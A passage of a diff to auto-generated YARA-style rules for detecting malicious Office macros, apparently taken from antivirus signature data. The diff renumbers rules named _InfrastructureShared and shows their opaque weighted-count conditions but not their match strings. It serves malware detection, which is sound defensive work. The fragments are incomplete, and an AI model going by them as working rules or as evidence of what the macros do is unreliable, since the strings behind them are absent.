1)*8194+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_03_6 & 1)*1+(#a_b8_7 & 1)*0) >=8 } -rule _InfrastructureShared_23362{ +rule _InfrastructureShared_24648{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,09 00 09 00 09 00 21 " @@ -304445,7 +320940,7 @@ rule _InfrastructureShared_23362{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*28205+(#a_6e_2 & 1)*27247+(#a_52_3 & 1)*10280+(#a_53_4 & 1)*15648+(#a_4d_5 & 1)*21076+(#a_43_6 & 1)*28265+(#a_22_7 & 1)*11305+(#a_21_8 & 1)*19265) >=9 } -rule _InfrastructureShared_23363{ +rule _InfrastructureShared_24649{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -304456,7 +320951,7 @@ rule _InfrastructureShared_23363{ ((#a_53_0 & 1)*19747+(#a_72_1 & 1)*25439) >=3 } -rule _InfrastructureShared_23364{ +rule _InfrastructureShared_24650{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -304468,7 +320963,7 @@ rule _InfrastructureShared_23364{ ((#a_53_0 & 1)*19747+(#a_3a_1 & 1)*18728+(#a_63_2 & 1)*17775) >=1 } -rule _InfrastructureShared_23365{ +rule _InfrastructureShared_24651{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -304480,7 +320975,7 @@ rule _InfrastructureShared_23365{ ((#a_6f_0 & 1)*21539+(#a_02_1 & 1)*10354+(#a_20_2 & 1)*29793) >=1 } -rule _InfrastructureShared_23366{ +rule _InfrastructureShared_24652{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -304492,7 +320987,7 @@ rule _InfrastructureShared_23366{ ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*11877+(#a_74_2 & 1)*25940) >=3 } -rule _InfrastructureShared_23367{ +rule _InfrastructureShared_24653{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 05 00 21 " @@ -304506,7 +321001,7 @@ rule _InfrastructureShared_23367{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*15717+(#a_70_2 & 1)*9728+(#a_61_3 & 1)*28530+(#a_00_4 & 1)*10530) >=4 } -rule _InfrastructureShared_23368{ +rule _InfrastructureShared_24654{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -304521,7 +321016,7 @@ rule _InfrastructureShared_23368{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*21536+(#a_53_2 & 1)*19747+(#a_61_3 & 1)*8230+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=6 } -rule _InfrastructureShared_23369{ +rule _InfrastructureShared_24655{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -304536,7 +321031,7 @@ rule _InfrastructureShared_23369{ ((#a_53_0 & 1)*19747+(#a_61_1 & 1)*8230+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_bb_4 & 1)*0+(#a_02_5 & 1)*8293) >=6 } -rule _InfrastructureShared_23370{ +rule _InfrastructureShared_24656{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -304546,7 +321041,7 @@ rule _InfrastructureShared_23370{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23371{ +rule _InfrastructureShared_24657{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -304558,7 +321053,7 @@ rule _InfrastructureShared_23371{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 } -rule _InfrastructureShared_23372{ +rule _InfrastructureShared_24658{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -304570,7 +321065,7 @@ rule _InfrastructureShared_23372{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*16386+(#a_02_2 & 1)*29504) >=3 } -rule _InfrastructureShared_23373{ +rule _InfrastructureShared_24659{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -304582,7 +321077,7 @@ rule _InfrastructureShared_23373{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*8250+(#a_03_2 & 1)*-28632) >=4 } -rule _InfrastructureShared_23374{ +rule _InfrastructureShared_24660{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -304596,7 +321091,7 @@ rule _InfrastructureShared_23374{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*9760+(#a_77_2 & 1)*8736+(#a_6f_3 & 1)*29793+(#a_90_4 & 1)*24838) >=5 } -rule _InfrastructureShared_23375{ +rule _InfrastructureShared_24661{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -304606,7 +321101,7 @@ rule _InfrastructureShared_23375{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23376{ +rule _InfrastructureShared_24662{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -304617,7 +321112,7 @@ rule _InfrastructureShared_23376{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*26723) >=2 } -rule _InfrastructureShared_23377{ +rule _InfrastructureShared_24663{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 03 00 21 " @@ -304629,7 +321124,7 @@ rule _InfrastructureShared_23377{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*8237+(#a_67_2 & 1)*26983) >=2 } -rule _InfrastructureShared_23378{ +rule _InfrastructureShared_24664{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -304643,7 +321138,7 @@ rule _InfrastructureShared_23378{ ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*14637+(#a_4d_2 & 1)*8448+(#a_65_3 & 1)*24933+(#a_6c_4 & 1)*26979) >=5 } -rule _InfrastructureShared_23379{ +rule _InfrastructureShared_24665{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -304657,7 +321152,7 @@ rule _InfrastructureShared_23379{ ((#a_53_0 & 1)*19747+(#a_53_1 & 1)*27756+(#a_67_2 & 1)*28261+(#a_5c_3 & 1)*10283+(#a_6c_4 & 1)*30575) >=5 } -rule _InfrastructureShared_23380{ +rule _InfrastructureShared_24666{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -304667,7 +321162,7 @@ rule _InfrastructureShared_23380{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23381{ +rule _InfrastructureShared_24667{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -304678,7 +321173,7 @@ rule _InfrastructureShared_23381{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*10548) >=1 } -rule _InfrastructureShared_23382{ +rule _InfrastructureShared_24668{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -304691,7 +321186,7 @@ rule _InfrastructureShared_23382{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1) >=1 } -rule _InfrastructureShared_23383{ +rule _InfrastructureShared_24669{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -304703,7 +321198,7 @@ rule _InfrastructureShared_23383{ ((#a_53_0 & 1)*19747+(#a_27_2 & 1)*24+(#a_27_3 & 1)*8736) >=1 } -rule _InfrastructureShared_23384{ +rule _InfrastructureShared_24670{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -304714,7 +321209,7 @@ rule _InfrastructureShared_23384{ ((#a_46_0 & 1)*16675+(#a_29_1 & 1)*2050) >=2 } -rule _InfrastructureShared_23385{ +rule _InfrastructureShared_24671{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 04 00 21 " @@ -304727,7 +321222,7 @@ rule _InfrastructureShared_23385{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*8236+(#a_65_2 & 1)*28515+(#a_00_3 & 1)*66) >=2 } -rule _InfrastructureShared_23386{ +rule _InfrastructureShared_24672{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -304739,7 +321234,7 @@ rule _InfrastructureShared_23386{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*29745+(#a_45_2 & 1)*21076) >=3 } -rule _InfrastructureShared_23387{ +rule _InfrastructureShared_24673{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -304751,7 +321246,7 @@ rule _InfrastructureShared_23387{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*8832+(#a_29_2 & 1)*16386) >=3 } -rule _InfrastructureShared_23388{ +rule _InfrastructureShared_24674{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -304763,7 +321258,7 @@ rule _InfrastructureShared_23388{ ((#a_53_0 & 1)*19747+(#a_28_1 & 1)*30821+(#a_6d_2 & 1)*14930) >=3 } -rule _InfrastructureShared_23389{ +rule _InfrastructureShared_24675{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -304776,7 +321271,7 @@ rule _InfrastructureShared_23389{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*28277+(#a_00_2 & 1)*-28928+(#a_00_3 & 1)*-28928) >=4 } -rule _InfrastructureShared_23390{ +rule _InfrastructureShared_24676{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -304789,7 +321284,7 @@ rule _InfrastructureShared_23390{ ((#a_53_0 & 1)*19747+(#a_2e_1 & 1)*29549+(#a_00_2 & 1)*4+(#a_3a_3 & 1)*19521) >=4 } -rule _InfrastructureShared_23391{ +rule _InfrastructureShared_24677{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 06 00 21 " @@ -304804,7 +321299,7 @@ rule _InfrastructureShared_23391{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*274+(#a_6f_2 & 1)*14930+(#a_90_3 & 1)*29288+(#a_20_4 & 1)*7056+(#a_28_5 & 1)*26691) >=4 } -rule _InfrastructureShared_23392{ +rule _InfrastructureShared_24678{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -304814,7 +321309,7 @@ rule _InfrastructureShared_23392{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23393{ +rule _InfrastructureShared_24679{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -304829,7 +321324,7 @@ rule _InfrastructureShared_23393{ ((#a_53_0 & 1)*19747+(#a_55_1 & 1)*21058+(#a_00_2 & 1)*20047+(#a_72_3 & 1)*19201+(#a_76_4 & 1)*26469+(#a_67_5 & 1)*12109) >=6 } -rule _InfrastructureShared_23394{ +rule _InfrastructureShared_24680{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,09 00 09 00 09 00 21 " @@ -304846,7 +321341,7 @@ rule _InfrastructureShared_23394{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*16741+(#a_67_2 & 1)*29185+(#a_4d_4 & 1)*8448+(#a_73_5 & 1)*29812+(#a_45_6 & 1)*16692+(#a_44_7 & 1)*24938+(#a_34_8 & 1)*13618) >=9 } -rule _InfrastructureShared_23395{ +rule _InfrastructureShared_24681{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -304858,7 +321353,7 @@ rule _InfrastructureShared_23395{ ((#a_53_0 & 1)*19747+(#a_53_1 & 1)*10240+(#a_78_2 & 1)*27756) >=3 } -rule _InfrastructureShared_23396{ +rule _InfrastructureShared_24682{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -304871,7 +321366,7 @@ rule _InfrastructureShared_23396{ ((#a_53_0 & 1)*19747+(#a_36_1 & 1)*14137+(#a_00_2 & 1)*10530+(#a_62_3 & 1)*17411) >=4 } -rule _InfrastructureShared_23397{ +rule _InfrastructureShared_24683{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 05 00 21 " @@ -304884,7 +321379,7 @@ rule _InfrastructureShared_23397{ ((#a_53_0 & 1)*19747+(#a_28_2 & 1)*26691+(#a_37_3 & 1)*20282+(#a_70_4 & 1)*29800) >=4 } -rule _InfrastructureShared_23398{ +rule _InfrastructureShared_24684{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -304894,7 +321389,7 @@ rule _InfrastructureShared_23398{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23399{ +rule _InfrastructureShared_24685{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 0d 00 21 " @@ -304916,7 +321411,7 @@ rule _InfrastructureShared_23399{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_02_9 & 1)*1+(#a_c0_10 & 1)*0+(#a_20_11 & 1)*24864+(#a_2d_12 & 1)*23085) >=1 } -rule _InfrastructureShared_23400{ +rule _InfrastructureShared_24686{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 05 00 21 " @@ -304929,7 +321424,7 @@ rule _InfrastructureShared_23400{ ((#a_63_0 & 1)*19747+(#a_20_1 & 1)*29806+(#a_68_3 & 1)*24832+(#a_68_4 & 1)*8303) >=3 } -rule _InfrastructureShared_23401{ +rule _InfrastructureShared_24687{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -304942,7 +321437,7 @@ rule _InfrastructureShared_23401{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*25964+(#a_02_2 & 1)*8253+(#a_65_3 & 1)*24933) >=4 } -rule _InfrastructureShared_23402{ +rule _InfrastructureShared_24688{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -304955,7 +321450,7 @@ rule _InfrastructureShared_23402{ ((#a_53_0 & 1)*19747+(#a_7a_1 & 1)*24922+(#a_20_2 & 1)*656+(#a_03_3 & 1)*1) >=4 } -rule _InfrastructureShared_23403{ +rule _InfrastructureShared_24689{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 08 00 21 " @@ -304972,7 +321467,7 @@ rule _InfrastructureShared_23403{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*3584+(#a_44_2 & 1)*16980+(#a_75_3 & 1)*29548+(#a_65_4 & 1)*26956+(#a_02_5 & 1)*28265+(#a_6f_6 & 1)*19557+(#a_45_7 & 1)*20002) >=4 } -rule _InfrastructureShared_23404{ +rule _InfrastructureShared_24690{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -304986,7 +321481,7 @@ rule _InfrastructureShared_23404{ ((#a_6c_0 & 1)*16675+(#a_57_1 & 1)*279+(#a_20_2 & 1)*-28557+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1) >=5 } -rule _InfrastructureShared_23405{ +rule _InfrastructureShared_24691{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -305000,7 +321495,7 @@ rule _InfrastructureShared_23405{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*8736+(#a_53_2 & 1)*25972+(#a_65_3 & 1)*8736+(#a_61_4 & 1)*28514) >=5 } -rule _InfrastructureShared_23406{ +rule _InfrastructureShared_24692{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 03 00 21 " @@ -305012,7 +321507,7 @@ rule _InfrastructureShared_23406{ ((#a_6c_0 & 1)*16675+(#a_69_1 & 1)*28751+(#a_20_2 & 1)*8293) >=6 } -rule _InfrastructureShared_23407{ +rule _InfrastructureShared_24693{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 03 00 21 " @@ -305024,7 +321519,7 @@ rule _InfrastructureShared_23407{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*26990+(#a_50_2 & 1)*29285) >=2 } -rule _InfrastructureShared_23408{ +rule _InfrastructureShared_24694{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -305036,7 +321531,7 @@ rule _InfrastructureShared_23408{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29537+(#a_6d_2 & 1)*14930) >=3 } -rule _InfrastructureShared_23409{ +rule _InfrastructureShared_24695{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -305049,7 +321544,7 @@ rule _InfrastructureShared_23409{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_3d_2 & 1)*6400+(#a_69_3 & 1)*10356) >=4 } -rule _InfrastructureShared_23410{ +rule _InfrastructureShared_24696{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -305062,7 +321557,7 @@ rule _InfrastructureShared_23410{ ((#a_53_0 & 1)*19747+(#a_2e_1 & 1)*656+(#a_2e_2 & 1)*656+(#a_65_3 & 1)*24940) >=4 } -rule _InfrastructureShared_23411{ +rule _InfrastructureShared_24697{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -305081,7 +321576,7 @@ rule _InfrastructureShared_23411{ ((#a_53_0 & 1)*19747+(#a_6e_1 & 1)*28484+(#a_54_2 & 1)*21076+(#a_06_3 & 1)*-28580+(#a_90_4 & 1)*12332+(#a_03_5 & 1)*1+(#a_c2_6 & 1)*0+(#a_22_7 & 1)*816+(#a_22_8 & 1)*11298+(#a_00_9 & 1)*144) >=10 } -rule _InfrastructureShared_23412{ +rule _InfrastructureShared_24698{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -305092,7 +321587,7 @@ rule _InfrastructureShared_23412{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*1538) >=1 } -rule _InfrastructureShared_23413{ +rule _InfrastructureShared_24699{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -305103,7 +321598,7 @@ rule _InfrastructureShared_23413{ ((#a_53_0 & 1)*19747+(#a_22_2 & 1)*8808) >=1 } -rule _InfrastructureShared_23414{ +rule _InfrastructureShared_24700{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -305115,7 +321610,7 @@ rule _InfrastructureShared_23414{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*28777+(#a_30_2 & 1)*-28632) >=3 } -rule _InfrastructureShared_23415{ +rule _InfrastructureShared_24701{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 03 00 04 00 21 " @@ -305128,7 +321623,7 @@ rule _InfrastructureShared_23415{ ((#a_3a_0 & 1)*19521+(#a_72_1 & 1)*21364+(#a_4d_2 & 1)*8448+(#a_61_3 & 1)*24386) >=3 } -rule _InfrastructureShared_23416{ +rule _InfrastructureShared_24702{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -305141,7 +321636,7 @@ rule _InfrastructureShared_23416{ ((#a_53_0 & 1)*19747+(#a_4f_1 & 1)*28532+(#a_22_2 & 1)*25959+(#a_45_3 & 1)*19767) >=4 } -rule _InfrastructureShared_23417{ +rule _InfrastructureShared_24703{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -305153,7 +321648,7 @@ rule _InfrastructureShared_23417{ ((#a_4c_0 & 1)*21539+(#a_20_1 & 1)*29283+(#a_54_4 & 1)*18509) >=5 } -rule _InfrastructureShared_23418{ +rule _InfrastructureShared_24704{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -305164,7 +321659,7 @@ rule _InfrastructureShared_23418{ ((#a_53_0 & 1)*19747+(#a_6d_1 & 1)*8253) >=1 } -rule _InfrastructureShared_23419{ +rule _InfrastructureShared_24705{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -305175,7 +321670,7 @@ rule _InfrastructureShared_23419{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*24578) >=3 } -rule _InfrastructureShared_23420{ +rule _InfrastructureShared_24706{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -305187,7 +321682,7 @@ rule _InfrastructureShared_23420{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*11128+(#a_00_2 & 1)*21581) >=3 } -rule _InfrastructureShared_23421{ +rule _InfrastructureShared_24707{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -305200,7 +321695,7 @@ rule _InfrastructureShared_23421{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*10341+(#a_02_2 & 1)*11825+(#a_6f_3 & 1)*26483) >=4 } -rule _InfrastructureShared_23422{ +rule _InfrastructureShared_24708{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -305213,7 +321708,7 @@ rule _InfrastructureShared_23422{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*30575+(#a_00_2 & 1)*-28928+(#a_00_3 & 1)*-28928) >=4 } -rule _InfrastructureShared_23423{ +rule _InfrastructureShared_24709{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -305226,7 +321721,7 @@ rule _InfrastructureShared_23423{ ((#a_54_0 & 1)*18467+(#a_28_1 & 1)*25441+(#a_00_2 & 1)*4+(#a_3a_3 & 1)*21587) >=4 } -rule _InfrastructureShared_23424{ +rule _InfrastructureShared_24710{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -305239,7 +321734,7 @@ rule _InfrastructureShared_23424{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*8226+(#a_2e_2 & 1)*29797+(#a_73_3 & 1)*27747) >=4 } -rule _InfrastructureShared_23425{ +rule _InfrastructureShared_24711{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -305251,7 +321746,7 @@ rule _InfrastructureShared_23425{ ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*28521+(#a_4d_4 & 1)*8448) >=5 } -rule _InfrastructureShared_23426{ +rule _InfrastructureShared_24712{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -305263,7 +321758,7 @@ rule _InfrastructureShared_23426{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*7568+(#a_02_2 & 1)*-28640) >=3 } -rule _InfrastructureShared_23427{ +rule _InfrastructureShared_24713{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -305276,7 +321771,7 @@ rule _InfrastructureShared_23427{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*15648+(#a_00_2 & 1)*11040+(#a_29_3 & 1)*13352) >=4 } -rule _InfrastructureShared_23428{ +rule _InfrastructureShared_24714{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -305289,7 +321784,7 @@ rule _InfrastructureShared_23428{ ((#a_53_0 & 1)*19747+(#a_2e_1 & 1)*10752+(#a_65_2 & 1)*8736+(#a_00_3 & 1)*1) >=4 } -rule _InfrastructureShared_23429{ +rule _InfrastructureShared_24715{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -305300,7 +321795,7 @@ rule _InfrastructureShared_23429{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*8314) >=1 } -rule _InfrastructureShared_23430{ +rule _InfrastructureShared_24716{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -305311,7 +321806,7 @@ rule _InfrastructureShared_23430{ ((#a_53_0 & 1)*19747+(#a_2e_1 & 1)*656) >=1 } -rule _InfrastructureShared_23431{ +rule _InfrastructureShared_24717{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 04 00 21 " @@ -305324,7 +321819,7 @@ rule _InfrastructureShared_23431{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*29285+(#a_61_2 & 1)*24931+(#a_74_3 & 1)*8736) >=2 } -rule _InfrastructureShared_23432{ +rule _InfrastructureShared_24718{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -305336,7 +321831,7 @@ rule _InfrastructureShared_23432{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*27748+(#a_00_2 & 1)*3) >=3 } -rule _InfrastructureShared_23433{ +rule _InfrastructureShared_24719{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -305348,7 +321843,7 @@ rule _InfrastructureShared_23433{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*20066+(#a_48_2 & 1)*19767) >=3 } -rule _InfrastructureShared_23434{ +rule _InfrastructureShared_24720{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -305362,7 +321857,7 @@ rule _InfrastructureShared_23434{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*8300+(#a_29_2 & 1)*29793+(#a_60_3 & 1)*-28631+(#a_2e_4 & 1)*656) >=5 } -rule _InfrastructureShared_23435{ +rule _InfrastructureShared_24721{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -305375,7 +321870,7 @@ rule _InfrastructureShared_23435{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8253+(#a_49_2 & 1)*16743+(#a_28_3 & 1)*26727) >=1 } -rule _InfrastructureShared_23436{ +rule _InfrastructureShared_24722{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 06 00 21 " @@ -305389,7 +321884,7 @@ rule _InfrastructureShared_23436{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*144+(#a_66_2 & 1)*19459+(#a_00_4 & 1)*0+(#a_4d_5 & 1)*8448) >=1 } -rule _InfrastructureShared_23437{ +rule _InfrastructureShared_24723{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -305401,7 +321896,7 @@ rule _InfrastructureShared_23437{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_3d_2 & 1)*13568) >=3 } -rule _InfrastructureShared_23438{ +rule _InfrastructureShared_24724{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -305411,7 +321906,7 @@ rule _InfrastructureShared_23438{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23439{ +rule _InfrastructureShared_24725{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -305422,7 +321917,7 @@ rule _InfrastructureShared_23439{ ((#a_46_0 & 1)*16675+(#a_57_1 & 1)*25963) >=2 } -rule _InfrastructureShared_23440{ +rule _InfrastructureShared_24726{ meta: description = 